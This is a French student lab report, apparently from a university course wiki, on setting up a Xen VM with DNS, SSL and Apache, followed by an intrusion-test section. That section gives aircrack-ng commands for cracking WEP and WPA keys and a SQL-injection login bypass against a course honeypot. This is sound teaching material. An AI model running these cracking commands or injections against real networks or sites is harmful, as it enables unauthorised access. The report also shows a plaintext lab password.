La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57069</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57069"/>
				<updated>2021-12-13T17:26:20Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Serveur web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
